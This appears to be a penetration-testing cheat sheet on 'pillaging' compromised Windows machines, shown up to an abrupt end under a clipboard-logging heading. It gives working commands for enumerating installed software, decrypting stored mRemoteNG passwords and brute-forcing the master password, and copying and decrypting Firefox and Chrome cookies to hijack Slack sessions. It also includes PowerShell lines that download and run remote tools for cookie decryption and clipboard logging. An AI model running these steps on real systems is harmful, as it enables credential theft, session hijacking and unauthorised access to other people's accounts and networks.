🎯Pillaging

🎯 Overview

Pillaging is the systematic process of data extraction from compromised systems to gather credentials, sensitive information, and intelligence for further network access. Focus on installed applications, configuration files, browser data, clipboard content, and backup systems for maximum information yield.

📊 Data Sources for Pillaging

Primary Targets

# High-value data sources:
- Installed applications & services
- File shares & databases  
- Directory services (Active Directory)
- Certificate authorities
- Source code management servers
- Backup & monitoring systems
- Web browsers & IM clients
- History files & documents
- Network infrastructure details

Information Categories

# Types of valuable data:
- Personal information (PII)
- Corporate blueprints & intellectual property
- Credit card & financial data
- Server & infrastructure information
- Network topology & credentials
- Passwords & authentication tokens
- Previous audit reports
- User roles & privileges

💻 Installed Application Enumeration

Directory-Based Discovery

# Quick application enumeration:
dir "C:\Program Files"
dir "C:\Program Files (x86)"

# Look for:
- Remote management tools (mRemoteNG, TeamViewer)
- Development tools (Git, IDEs)
- Database clients (SSMS, MySQL Workbench)
- VPN clients (OpenVPN, Cisco AnyConnect)
- Password managers (KeePass, 1Password)

Registry-Based Enumeration

# Comprehensive installed programs list:
$INSTALLED = Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, InstallLocation
$INSTALLED += Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, InstallLocation
$INSTALLED | ?{ $_.DisplayName -ne $null } | sort-object -Property DisplayName -Unique | Format-Table -AutoSize

🔧 mRemoteNG Exploitation

Configuration File Location

# Default mRemoteNG config location:
%USERPROFILE%\APPDATA\Roaming\mRemoteNG\confCons.xml

# Check for mRemoteNG installation:
ls "C:\Program Files\mRemoteNG"
ls C:\Users\*\AppData\Roaming\mRemoteNG

Configuration File Structure

<!-- Example confCons.xml with default master password -->
<?XML version="1.0" encoding="utf-8"?>
<mrng:Connections xmlns:mrng="http://mremoteng.org" Name="Connections" Export="false" EncryptionEngine="AES" BlockCipherMode="GCM" KdfIterations="1000" FullFileEncryption="false" Protected="QcMB21irFadMtSQvX5ONMEh7X+TSqRX3uXO5DKShwpWEgzQ2YBWgD/uQ86zbtNC65Kbu3LKEdedcgDNO6N41Srqe" ConfVersion="2.6">
    <Node Name="RDP_Domain" Type="Connection" Username="administrator" Domain="test.local" Password="sPp6b6Tr2iyXIdD/KFNGEWzzUyU84ytR95psoHZAFOcvc8LGklo+XlJ+n+KrpZXUTs2rgkml0V9u8NEBMcQ6UnuOdkerig==" Hostname="10.0.0.10" Protocol="RDP" Port="3389" />
</mrng:Connections>

Password Decryption

# Default master password decryption (hardcoded: "mR3m"):
python3 mremoteng_decrypt.py -s "sPp6b6Tr2iyXIdD/KFNGEWzzUyU84ytR95psoHZAFOcvc8LGklo+XlJ+n+KrpZXUTs2rgkml0V9u8NEBMcQ6UnuOdkerig=="

# Result: ASDki230kasd09fk233aDA

# Custom master password decryption:
python3 mremoteng_decrypt.py -s "<encrypted_password>" -p admin

# Brute force master password:
for password in $(cat /usr/share/wordlists/fasttrack.txt); do 
    echo $password
    python3 mremoteng_decrypt.py -s "<encrypted_password>" -p $password 2>/dev/null
done

🍪 Browser Cookie Extraction

Firefox Cookie Extraction

# Copy Firefox cookies database:
copy $env:APPDATA\Mozilla\Firefox\Profiles\*.default-release\cookies.sqlite .

# Extract specific cookies (Linux):
python3 cookieextractor.py --dbpath "/home/user/cookies.sqlite" --host slack --cookie d

# Example Slack cookie:
d=xoxd-CJRafjAvR3UcF%2FXpCDOu6xEUVa3romzdAPiVoaqDHZW5A9oOpiHF0G749yFOSC...

Chrome Cookie Extraction

# Chrome cookies are DPAPI encrypted
# Copy cookies to expected SharpChromium location:
copy "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Network\Cookies" "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Cookies"

# Use Invoke-SharpChromium for decryption:
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-SharpChromium.ps1')
Invoke-SharpChromium -Command "cookies slack.com"

# Extract 'd' cookie value from JSON output

Cookie Abuse for IM Access

# Using Cookie-Editor browser extension:
1. Navigate to target website (slack.com)
2. Open Cookie-Editor extension
3. Modify 'd' cookie with extracted value
4. Save cookie changes
5. Refresh page = authenticated access

# Target applications:
- Slack (cookie: d)
- Microsoft Teams
- Discord
- Other web-based IM clients

📋 Clipboard Monitoring

PowerShell Clipboard Logger

# Monitor clipboard for credentials:
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/inguardians/Invoke-Clipboard/master/Invoke-Clipboard.ps1')
Invoke-ClipboardLogger

# Example captured data:
